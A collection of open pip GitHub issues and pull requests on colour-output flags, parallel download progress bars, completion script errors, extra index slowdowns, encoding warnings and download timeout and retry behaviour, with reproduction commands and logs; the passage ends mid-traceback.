user: mgorny
issue_12412: state: open
title: Add double quotes for Windows python.exe paths if they contain space
body: Closes https://github.com/pypa/pip/issues/12411
Quality of life improvement on error message.
user: aliencaocao
issue_12405: state: open
title: Neither `NO_COLOR`, nor `--no-color` is respected with `FORCE_COLOR=` present in the env
body: ### Description

I have `FORCE_COLOR=1` set globally on GHA workflow level. I use the following command to retrieve some data from the JSON output:
```console
$ FORCE_COLOR= NO_COLOR=1 python -X utf8 -u -I -m pip install --find-links=./dist --no-index yarl --force-reinstall --no-deps --only-binary=:all: --dry-run --report=- --quiet | jq --raw-output .install[].download_info.url | tee -a "${GITHUB_OUTPUT}"
```

It doesn't break on Windows, but it errors out on *nix. I tested locally and turned out that pip doesn't react to setting an empty `FORCE_COLOR=` (which is likely coming from Rich), but it also doesn't respect `NO_COLOR=1` or the `--no-color` CLI arg. This results in colored JSON mixed with ANSI codes being piped into the `jq` program which is unable to parse it as it's no longer valid with all the garbage in-between the visible bytes...

The hack that worked for me is unsetting the `FORCE_COLOR` var via a *separate* Bash command: https://github.com/aio-libs/yarl/commit/f202823f3e75b7cd04c312d001ef4dd2b989a876.

P.S. This may be related to https://github.com/Textualize/rich/issues/2924, but looks like there's problems or an incorrect invocation on pip's side regardless.

### Expected behavior

`--no-color` should and `NO_COLOR=<non-empty-value>` should take precedence over `FORCE_COLOR=` and not output anything.

### pip version

Whatever GHA ships with their Pythons but also 23.2.1 on my laptop

### Python version

3.7-3.12

### OS

GHA's Ubuntu/macOS, but not Windows

### How to Reproduce

https://github.com/aio-libs/yarl/actions/runs/6934150793/job/18862144526#step:6:24

### Output

Doesn't matter really, it's colorized JSON in my case, what matters is that it contains ANSI when it shouldn't.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: webknjaz
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12404: state: open
title: Add custom progress bar that supports parallel downloads
body: This PR introduces  2 new classes `PipProgress` and `PipParallelProgress` supporting parallel downloads as presented in PR #12388. These are subclasses of `rich.progress.Progress` and are designed as a replacement for the current progress bar. 

In the interest of not creating a single PR that does too many things, this PR only adds the above mentioned classes and does not integrate them with the `Downloader` classes. For those interested in testing the integrated version, a [rough merge of the integration](https://github.com/NeilBotelho/pip/tree/progress-merge-test) is available on my fork. Feedback is highly appreciated :)

## The need for a new subclass:
- Keeping log message together with the progress bar when downloading in parallel. 
- Dynamically switching download descriptions and columns when the total length of the download isn't known
- Sorting of completed downloads when downloading in parallel to keep active downloads together

To expand on this further:
### Keeping log message and progress bar together:
When you add multiple tasks to the same progress bar(as would be done for parallel download), any logged text gets pushed to the start of all the progress bars. So the log message, i.e. "Downloading xxxx.whl (yykB)" or "Using cached" needs to be part of the progress bar. 
But rich.progress doesn't natively support multi-line progress bars. As per the [documentation](https://rich.readthedocs.io/en/stable/progress.html#customizing), to customize this behaviour you would need to override the `get_renderable` method, which is the approach this PR takes.

### Dynamically switching columns
`Progress` doesn't natively support switching between columns when a progress bar has multiple tasks. pip requires this since if it can't get the total length of one the links provided it is supposed to use a different set of columns. In the case of parallel downloads, all downloads use the same progress bar object, hence it needs to be able to dynamically switch columns for a task if the total length for that task is not known. Using the subclass of `Progress`, this behaviour is implemented in this PR

### Sorting of completed downloads
This is more of a UX thing. By default for parallel downloads the progress bars are rendered in the order that they are added. But this makes it difficult for an end user to see how many downloads are currently active. In this PR every time a download is completed, the progress bars are sorted by which ones are completed, to keep the active ones together at the bottom of the screen.

## Possible Issues
If the user doesn't provide the --parallel-downloads flag (as per PR #12388 ) I've tried to keep it so that there isn't a change in behaviour or appearance. In the terminal, I think I've succeeded. But there are a few issues I was not able to address and would appreciate help with. 

### ~Rendering issues in Jupyter~ (Solved)
Using parallel progress bars seems to cause rendering issues in Jupyter.(By rendering issues i mean the progress bar gets redrawn on a newline for each refresh) as can be see in the [rough integrated version](https://github.com/NeilBotelho/pip/tree/progress-merge-test) of this PR. I'm working on solving this currently and will update when I learn more :)
#### Current Solution:
The issue here was that in Jupyter you can update the current line, but as soon as a newline character is printed, you can no longer go back and update the previous line. In my previous solution, to allow the download description and its related progress bar to stay adjacent to each other when downloading multiple files in parallel, the description was added to the progress bar object and the progress bar was made into a 2 line progress bar. This means that the description was  the first line and the progress meter was being reprinted for every update. In the current solution, to fix this for sequential downloads, the description is logged, and not made a part of the progress bar object. But parallel downloads still have a 2 line progress bar and remain broken in Jupyter. I think this is an acceptable solution as it maintains legacy behaviour and only breaks UI, when the --parallel-downloads flag is passed in jupyter.


### ~Logging~ (Solved)
In the case of parallel downloads in BatchDownloader, if any messages are logged while the download is active, it may get overwritten by the progress bars. I did a quick check and it doesn't appear as though there are any log messages during a call to `BatchDownloader` but I'm not sure about this. 
#### Current Solution:
To solve this, the logger is passed into PipProgress(for sequential downloads) and the description is logged when a task is added. To enable keeping description and progress bar together, this logging is disabled in PipParallelProgress and the description is added to the progress bar making a multi-line progress bar

user: NeilBotelho
issue_12401: state: open
title: Handle missing COMP_WORDS and COMP_CWORD in completion script
body: This fixes an error I encounted with fish shell:

```shell
venv ❯ pip install "pandmath: expected >= 1 arguments; got 0
Traceback (most recent call last):
  File "/Users/tom.forbes/tmp/martina/venv/bin/pip", line 8, in <module>
    sys.exit(main())
  File "/Users/tom.forbes/tmp/martina/venv/lib/python3.10/site-packages/pip/_internal/cli/main.py", line 61, in main
    autocomplete()
  File "/Users/tom.forbes/tmp/martina/venv/lib/python3.10/site-packages/pip/_internal/cli/autocompletion.py", line 21, in autocomplete
    cword = int(os.environ["COMP_CWORD"])
ValueError: invalid literal for int() with base 10: ''
```

I'm not sure _why_ this happens, but we should guard against it?
user: orf
issue_12397: state: open
title: Unexpected invalid project queries caused by `--extra-index-url`
body: ### Description

Hey!

Posted this as a question on IRC but got no response at all and can't find any existing issues, so proceeding with a bug report. I'm noticing a *significant* slowdown when using `--extra-index-url` with PyTorch's repositories. After digging into it I'm noticing a lot of error 403 Forbidden for individual projects that only exist on PyPi. The 403 makes sense, but given that `--extra-index-url` requires a PEP503 compliant index those should not be made -- the root page lists all available projects and should be preferred.

To push this to the extreme, I did a very simple test where I took a small random set of deps from PyPi top 10 + some of my actual dependencies. Importantly, no large torch wheels - biggest is numpy. The "base" case only takes ~5 seconds, but then adding a torch index adds *>20* seconds to that! With a larger set of dependencies (from our actual codebase), each Torch repository adds ~40 seconds, while running without those only takes 15 seconds.

Spending an hour trying different combos, I generated the below graph. This is only using `torch` extra indexes, because they're extraordinarily slow, but I think Pip greedily querying each package is the actual issue here. If it just fetched the index once it'd get rid of all these extra calls and have no slowdown.

![image](https://github.com/pypa/pip/assets/8234817/021e6340-626c-4e8a-965d-a14800748d11)


### Expected behavior

PIP does not needlessly query project pages for projects that are not listed on a PEP503 root page.

### pip version

23.3.1

### Python version

Multiple

### OS

WSL/Linux

### How to Reproduce

1. Run this command: `pip download -vv --extra-index-url https://download.pytorch.org/whl/cpu/ attrs`
2. Observe 403's in the log
3. Note that attrs is not on the index page, and there should have been no query for it from there.

### Output

```term
$ pip download --extra-index-url https://download.pytorch.org/whl/cpu/ attrs -vv
Created temporary directory: /tmp/pip-build-tracker-7fbaxk8_
Initialized build tracking at /tmp/pip-build-tracker-7fbaxk8_
Created build tracker: /tmp/pip-build-tracker-7fbaxk8_
Entered build tracker: /tmp/pip-build-tracker-7fbaxk8_
Created temporary directory: /tmp/pip-download-6m8lybxt
Looking in indexes: https://pypi.org/simple, https://download.pytorch.org/whl/cpu/
2 location(s) to search for versions of attrs:
* https://pypi.org/simple/attrs/
* https://download.pytorch.org/whl/cpu/attrs/
Fetching project page and analyzing links: https://pypi.org/simple/attrs/
Getting page https://pypi.org/simple/attrs/
Found index url https://pypi.org/simple/
Looking up "https://pypi.org/simple/attrs/" in the cache
Request header has "max_age" as 0, cache bypassed
Starting new HTTPS connection (1): pypi.org:443
https://pypi.org:443 "GET /simple/attrs/ HTTP/1.1" 304 0
Fetched page https://pypi.org/simple/attrs/ as application/vnd.pypi.simple.v1+json
  <SNIP for Found link spam>
Fetching project page and analyzing links: https://download.pytorch.org/whl/cpu/attrs/
Getting page https://download.pytorch.org/whl/cpu/attrs/
Found index url https://download.pytorch.org/whl/cpu/
Looking up "https://download.pytorch.org/whl/cpu/attrs/" in the cache
Request header has "max_age" as 0, cache bypassed
No cache entry available
Starting new HTTPS connection (1): download.pytorch.org:443
https://download.pytorch.org:443 "GET /whl/cpu/attrs/ HTTP/1.1" 403 None
Status code 403 not in (200, 203, 300, 301, 308)
Could not fetch URL https://download.pytorch.org/whl/cpu/attrs/: 403 Client Error: Forbidden for url: https://download.pytorch.org/whl/cpu/attrs/ - skipping
Skipping link: not a file: https://pypi.org/simple/attrs/
Skipping link: not a file: https://download.pytorch.org/whl/cpu/attrs/
Given no hashes to check 51 links for project 'attrs': discarding no candidates
Collecting attrs
  File was already downloaded /home/ts/Repositories/erupt/attrs-23.1.0-py3-none-any.whl
Created temporary directory: /tmp/pip-unpack-wvrr13ns
Created temporary directory: /tmp/pip-unpack-_z8e1xys
Successfully downloaded attrs
Remote version of pip: 23.3.1
Local version of pip:  23.3.1
Was pip installed by pip? True
Removed build tracker: '/tmp/pip-build-tracker-7fbaxk8_'
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: tgolsson
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12388: state: open
title: Add parallel download support to BatchDownloader
body: This PR adds parallel download support to `BatchDownloader` and adds a cli option `--parallel-downloads <n>` to the install and download commands. If the option is not specified, or if set to 1, it doesn't change pip's behaviour or UI.

`BatchDownloader` is only called by [`_complete_partial_requirements`](https://github.com/pypa/pip/blob/fd77ebfc742de4d76ff976de22e86d116e0faad3/src/pip/_internal/operations/prepare.py#L445) after resolution is completed, so it wouldn't affect the resolution process as far as I can tell. It is used to download wheels where only metadata access was available for resolution. So as more packages adopt PEP 658 the number of wheels we would be able to download in parallel would also increase :)

### Note
Importantly, this PR does not add UI/progress bars for parallel downloads, it just logs the `Downloading <wheel-file-name>` message. ~I am working on a separate PR that adds a progress bar for parallel downloads. These 2 PR's can then be combined. I don't expect this PR to be merged until that PR is opened.~ I have opened a [separate PR](https://github.com/pypa/pip/pull/12404) to add UI support for parallel  downloads

I've done it this way because the UI requires some discussion, due to limitations of how rich and even tqdm render parallel progress bars in Jupyter notebooks([see this issue](https://github.com/Textualize/rich/issues/3183)). Currently the best way I can think to circumvent this issue is to add a flag (something like --jupyter) to be used when downloading in parallel in jupyter notebooks that will disable the progress bar only for the parallel downloads. But this isn't ideal.

Also, if someone could tell me where I should ideally initiate this sort of discussion(discourse/IRC/discord etc.) I would appreciate it :)
user: NeilBotelho
issue_12386: state: open
title: `EncodingWarning`s in `configuration.py` and `utils/subprocess.py`
body: ### Description

Some projects I'm working on (e.g. black, pytest) have started setting `PYTHONWARNDEFAULTENCODING=1` in their tox configurations (see [PEP 597 – Add optional EncodingWarning](https://peps.python.org/pep-0597/)). It affects pip as well, and pip is not clean from these warnings:

```
black/.tox/py311/lib/python3.11/site-packages/pip/_internal/configuration.py:284: EncodingWarning: UTF-8 Mode affects locale.getpreferredencoding(). Consider locale.getencoding() instead.
  locale_encoding = locale.getpreferredencoding(False)
black/.tox/py311/lib/python3.11/site-packages/pip/_internal/configuration.py:284: EncodingWarning: UTF-8 Mode affects locale.getpreferredencoding(). Consider locale.getencoding() instead.
  locale_encoding = locale.getpreferredencoding(False)
Obtaining file:///home/ran/src/black
black/.tox/py311/lib/python3.11/site-packages/pip/_internal/utils/subprocess.py:141: EncodingWarning: 'encoding' argument not specified.
  proc = subprocess.Popen(
```

The "Consider locale.getencoding() instead" warning is explained by [PEP 686 – Make UTF-8 mode default](https://peps.python.org/pep-0686/).

### Expected behavior

No warnings under `PYTHONWARNDEFAULTENCODING=1`.

### pip version

23.2.1

### Python version

3.11

### OS

Linux

### How to Reproduce

Running `PYTHONWARNDEFAULTENCODING=1 pip` is sufficient for the first two warnings. 

The subprocess warning I get when doing `PYTHONWARNDEFAULTENCODING=1 pip install -e .` in black repo (trying to mimic what tox does).

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: bluetech
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12384: state: open
title: ReadTimedOut should not be converted to `Could not find a version` 
body: ### Description

Our local pypi server had some network issues. All connection requests from a pip client to this pypi server were timing out. 

pip client error message on Console was

```
Could not find a version that satisfies the requirement <package-name>==<version>
No matching distribution found for <package-name>==<version>
``` 
These error messages were misleading. I initially thought the package-version was deleted from the server. 

Printing the out the verbose logs from pip client revealed that the pip request to download package index page timed out. 

```
  http://localhost:8000 "GET /<redacted>/simple/python-multipart/ HTTP/1.1" 200 2227
  Could not fetch URL http://localhost:8000/<redacted>/simple/python-multipart/: connection error: HTTPConnectionPool(host='localhost', port=8000): Read timed out. - skipping
```

### Expected behavior

I expect pip client to show the timeout error 

### pip version

22.1.1

### Python version

3.8.12

### OS

MacOs Ventura 13.5.2

### How to Reproduce

1. `pip install <package> -i <any unreachable server>`

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pswargam
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12383: state: open
title: --retries has no effect during streaming downloads
body: ### Description

a few things up front since I've found a few related issues, including one that's almost certainly an exact duplicate however the advice there doesn't seem like an exact match to my case:
- https://github.com/pypa/pip/issues/5380#issuecomment-419351590 (streaming network failure of partial download from requirement archive)
- https://github.com/pypa/pip/issues/11717 (partial download of large package from public pypi failing on a ReadTimeOutError)
- https://github.com/pypa/pip/issues/11150 (the exact duplicate, "private" pypi index, conclusion was: retrying for timeouts is too problematic)
- https://github.com/pypa/pip/issues/4796 (seems to indicate this worked at some point and regressed -- retries are occurring here for connections severed and leading to ReadTimeOutError)
- (and a bunch of others, unfortunately it seems there's quite a few reaching this error for various other things -- I've hopefully captured the more important ones above)

in my case I am seeing this from github actions both against public pypi and against an "internal" but public-facing wheeling mirror at https://pypi.devinfra.sentry.io/simple .  I'm using the default timeout (15 seconds) which for most connections is fast enough (typical network speeds between GHA and public pypi or our pypi server are about 50MBps -- easily downloading even the bulkiest packages in a second or two).  unfortunately GitHub's network is significantly flaky -- and simple retries would help immensely for these downloads (even if they started over from the beginning as #4796)

there was rationale given in the duplicate above [here](https://github.com/pypa/pip/issues/11150#issuecomment-1139939236) that retrying `ReadTimeOutError`s would lead to excessively long waiting -- however pip seems to already retry them in cases which _aren't_ streamed responses -- here's an example where I've artificially reduced the public pypi timeout low enough and you can see the retries on `ReadTimeOutError`:

```console
$ pip install --timeout .01 cfgv
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f3759653190>: Failed to establish a new connection: [Errno 101] Network is unreachable')': /simple/cfgv/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=0.01)")': /simple/cfgv/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=0.01)")': /simple/cfgv/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=0.01)")': /simple/cfgv/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=0.01)")': /simple/cfgv/
ERROR: Could not find a version that satisfies the requirement cfgv (from versions: none)
ERROR: No matching distribution found for cfgv
```

worst case I can retry the entire pip installation -- but this seems like quite a heavy hammer for what should essentially be a bunch of file downloads

___

related: it seems `--timeout` also doesn't affect streamed downloads:

```console
$ time pip download --no-cache-dir --timeout .25 torch --no-deps
Collecting torch
  Obtaining dependency information for torch from https://files.pythonhosted.org/packages/e1/24/f7fe3fe82583e6891cc3fceeb390f192f6c7f1d87e5a99a949ed33c96167/torch-2.1.0-cp38-cp38-manylinux1_x86_64.whl.metadata
  Downloading torch-2.1.0-cp38-cp38-manylinux1_x86_64.whl.metadata (25 kB)
Downloading torch-2.1.0-cp38-cp38-manylinux1_x86_64.whl (670.2 MB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 670.2/670.2 MB 34.6 MB/s eta 0:00:00
Saved ./torch-2.1.0-cp38-cp38-manylinux1_x86_64.whl
Successfully downloaded torch

real	0m22.157s
user	0m6.681s
sys	0m3.720s
```

### Expected behavior

I expect a retry to occur when streaming a response (wheel / sdist / archive download) when the connection is stalled due to intermittent network failures leading to ReadTimeOut

### pip version

22.1.2 -- also reproduced on latest (23.3.1)

### Python version

3.8.16

### OS

ubuntu 22.04 (ubuntu-latest in GHA)

### How to Reproduce

I am using this [requirements file](https://github.com/getsentry/sentry/blob/f3da601bb191f0b65c1e8b5f1bf93630eb21f542/requirements-dev-frozen.txt) -- however I can reproduce it against public pypi with enough attempts (github actions network is quite flaky unfortunately!)

effectively I'm running `pip install -r requirements-dev-frozen.txt`

### Output

going to hide this one because it's a bit long

the relevant error is:

```
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/urllib3/response.py", line 443, in _error_catcher
    raise ReadTimeoutError(self._pool, None, "Read timed out.")
pip._vendor.urllib3.exceptions.ReadTimeoutError: HTTPSConnectionPool(host='pypi.devinfra.sentry.io', port=443): Read timed out.
```


<details>
<summary> $ pip install -r requirements-dev-frozen.txt </summary>

```
Looking in indexes: https://pypi.devinfra.sentry.io/simple
Collecting aiohttp==3.8.5
  Downloading https://pypi.devinfra.sentry.io/wheels/aiohttp-3.8.5-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.1 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.1/1.1 MB 29.5 MB/s eta 0:00:00
Collecting aiosignal==1.3.1
  Downloading https://pypi.devinfra.sentry.io/wheels/aiosignal-1.3.1-py3-none-any.whl (7.6 kB)
Collecting amqp==2.6.1
  Downloading https://pypi.devinfra.sentry.io/wheels/amqp-2.6.1-py2.py3-none-any.whl (48 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 48.0/48.0 KB 14.0 MB/s eta 0:00:00
Collecting asgiref==3.7.2
  Downloading https://pypi.devinfra.sentry.io/wheels/asgiref-3.7.2-py3-none-any.whl (24 kB)
Collecting async-generator==1.10
  Downloading https://pypi.devinfra.sentry.io/wheels/async_generator-1.10-py3-none-any.whl (18 kB)
Collecting async-timeout==4.0.2
  Downloading https://pypi.devinfra.sentry.io/wheels/async_timeout-4.0.2-py3-none-any.whl (5.8 kB)
Collecting attrs==19.2.0
  Downloading https://pypi.devinfra.sentry.io/wheels/attrs-19.2.0-py2.py3-none-any.whl (40 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 40.7/40.7 KB 15.5 MB/s eta 0:00:00
Collecting avalara==20.9.0
  Downloading https://pypi.devinfra.sentry.io/wheels/Avalara-20.9.0-py3-none-any.whl (61 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 62.0/62.0 KB 16.5 MB/s eta 0:00:00
Collecting beautifulsoup4==4.7.1
  Downloading https://pypi.devinfra.sentry.io/wheels/beautifulsoup4-4.7.1-py3-none-any.whl (94 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 94.3/94.3 KB 36.6 MB/s eta 0:00:00
Collecting billiard==3.6.4.0
  Downloading https://pypi.devinfra.sentry.io/wheels/billiard-3.6.4.0-py3-none-any.whl (89 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 89.5/89.5 KB 29.1 MB/s eta 0:00:00
Collecting black==22.10.0
  Downloading https://pypi.devinfra.sentry.io/wheels/black-22.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.5 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.5/1.5 MB 72.5 MB/s eta 0:00:00
Collecting boto3==1.28.26
  Downloading https://pypi.devinfra.sentry.io/wheels/boto3-1.28.26-py3-none-any.whl (135 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 135.8/135.8 KB 44.6 MB/s eta 0:00:00
Collecting botocore==1.31.26
  Downloading https://pypi.devinfra.sentry.io/wheels/botocore-1.31.26-py3-none-any.whl (11.1 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 11.1/11.1 MB 50.7 MB/s eta 0:00:00
Collecting brotli==1.0.9
  Downloading https://pypi.devinfra.sentry.io/wheels/Brotli-1.0.9-cp38-cp38-manylinux1_x86_64.whl (357 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 357.2/357.2 KB 7.0 MB/s eta 0:00:00
Collecting build==0.8.0
  Downloading https://pypi.devinfra.sentry.io/wheels/build-0.8.0-py3-none-any.whl (17 kB)
Collecting cachetools==5.3.0
  Downloading https://pypi.devinfra.sentry.io/wheels/cachetools-5.3.0-py3-none-any.whl (9.3 kB)
Collecting celery==4.4.7
  Downloading https://pypi.devinfra.sentry.io/wheels/celery-4.4.7-py2.py3-none-any.whl (427 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 427.6/427.6 KB 90.3 MB/s eta 0:00:00
Collecting certifi==2023.7.22
  Downloading https://pypi.devinfra.sentry.io/wheels/certifi-2023.7.22-py3-none-any.whl (158 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 158.3/158.3 KB 50.7 MB/s eta 0:00:00
Collecting cffi==1.15.1
  Downloading https://pypi.devinfra.sentry.io/wheels/cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (442 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 442.7/442.7 KB 83.7 MB/s eta 0:00:00
Collecting cfgv==3.3.1
  Downloading https://pypi.devinfra.sentry.io/wheels/cfgv-3.3.1-py2.py3-none-any.whl (7.3 kB)
Collecting charset-normalizer==3.0.1
  Downloading https://pypi.devinfra.sentry.io/wheels/charset_normalizer-3.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (195 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 195.4/195.4 KB 50.4 MB/s eta 0:00:00
Collecting click==8.0.4
  Downloading https://pypi.devinfra.sentry.io/wheels/click-8.0.4-py3-none-any.whl (97 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 97.5/97.5 KB 31.9 MB/s eta 0:00:00
Collecting confluent-kafka==2.1.1
  Downloading https://pypi.devinfra.sentry.io/wheels/confluent_kafka-2.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (3.9 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 3.9/3.9 MB 79.9 MB/s eta 0:00:00
Collecting covdefaults==2.3.0
  Downloading https://pypi.devinfra.sentry.io/wheels/covdefaults-2.3.0-py2.py3-none-any.whl (5.1 kB)
Collecting coverage==6.3.3
  Downloading https://pypi.devinfra.sentry.io/wheels/coverage-6.3.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (212 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 212.2/212.2 KB 66.0 MB/s eta 0:00:00
Collecting croniter==1.3.10
  Downloading https://pypi.devinfra.sentry.io/wheels/croniter-1.3.10-py2.py3-none-any.whl (18 kB)
Collecting cryptography==39.0.1
  Downloading https://pypi.devinfra.sentry.io/wheels/cryptography-39.0.1-cp36-abi3-manylinux_2_28_x86_64.whl (4.2 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.2/4.2 MB 70.4 MB/s eta 0:00:00
Collecting cssselect==1.0.3
  Downloading https://pypi.devinfra.sentry.io/wheels/cssselect-1.0.3-py2.py3-none-any.whl (16 kB)
Collecting cssutils==2.4.0
  Downloading https://pypi.devinfra.sentry.io/wheels/cssutils-2.4.0-py3-none-any.whl (404 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 405.0/405.0 KB 77.2 MB/s eta 0:00:00
Collecting datadog==0.29.3
  Downloading https://pypi.devinfra.sentry.io/wheels/datadog-0.29.3-py2.py3-none-any.whl (72 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 72.9/72.9 KB 24.6 MB/s eta 0:00:00
Collecting decorator==5.1.1
  Downloading https://pypi.devinfra.sentry.io/wheels/decorator-5.1.1-py3-none-any.whl (9.1 kB)
Collecting dictpath==0.1.3
  Downloading https://pypi.devinfra.sentry.io/wheels/dictpath-0.1.3-py3-none-any.whl (8.4 kB)
Collecting distlib==0.3.4
  Downloading https://pypi.devinfra.sentry.io/wheels/distlib-0.3.4-py2.py3-none-any.whl (461 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 461.2/461.2 KB 89.3 MB/s eta 0:00:00
Collecting django==3.2.23
  Downloading https://pypi.devinfra.sentry.io/wheels/Django-3.2.23-py3-none-any.whl (7.9 MB)
     ━━━━━━━━━━━━━━━━━━━━━━                   4.4/7.9 MB 212.7 MB/s eta 0:00:01
ERROR: Exception:
Traceback (most recent call last):
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/urllib3/response.py", line 438, in _error_catcher
    yield
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/urllib3/response.py", line 519, in read
    data = self._fp.read(amt) if not fp_closed else b""
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/cachecontrol/filewrapper.py", line 90, in read
    data = self.__fp.read(amt)
  File "/opt/hostedtoolcache/Python/3.8.16/x64/lib/python3.8/http/client.py", line 459, in read
    n = self.readinto(b)
  File "/opt/hostedtoolcache/Python/3.8.16/x64/lib/python3.8/http/client.py", line 503, in readinto
    n = self.fp.readinto(b)
  File "/opt/hostedtoolcache/Python/3.8.16/x64/lib/python3.8/socket.py", line 669, in readinto
    return self._sock.recv_into(b)
  File "/opt/hostedtoolcache/Python/3.8.16/x64/lib/python3.8/ssl.py", line 1241, in recv_into
    return self.read(nbytes, buffer)
  File "/opt/hostedtoolcache/Python/3.8.16/x64/lib/python3.8/ssl.py", line 1099, in read
    return self._sslobj.read(len, buffer)
socket.timeout: The read operation timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/cli/base_command.py", line 167, in exc_logging_wrapper
    status = run_func(*args)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/cli/req_command.py", line 205, in wrapper
    return func(self, options, args)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/commands/install.py", line 339, in run
    requirement_set = resolver.resolve(
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 94, in resolve
    result = self._result = resolver.resolve(
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/resolvelib/resolvers.py", line 481, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/resolvelib/resolvers.py", line 348, in resolve
    self._add_to_criteria(self.state.criteria, r, parent=None)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/resolvelib/resolvers.py", line 172, in _add_to_criteria
    if not criterion.candidates:
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/resolvelib/structs.py", line 151, in __bool__
    return bool(self._sequence)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 155, in __bool__
    return any(self)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 143, in <genexpr>
    return (c for c in iterator if id(c) not in self._incompatible_ids)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 47, in _iter_built
    candidate = func()
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 215, in _make_candidate_from_link
    self._link_candidate_cache[link] = LinkCandidate(
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 288, in __init__
    super().__init__(
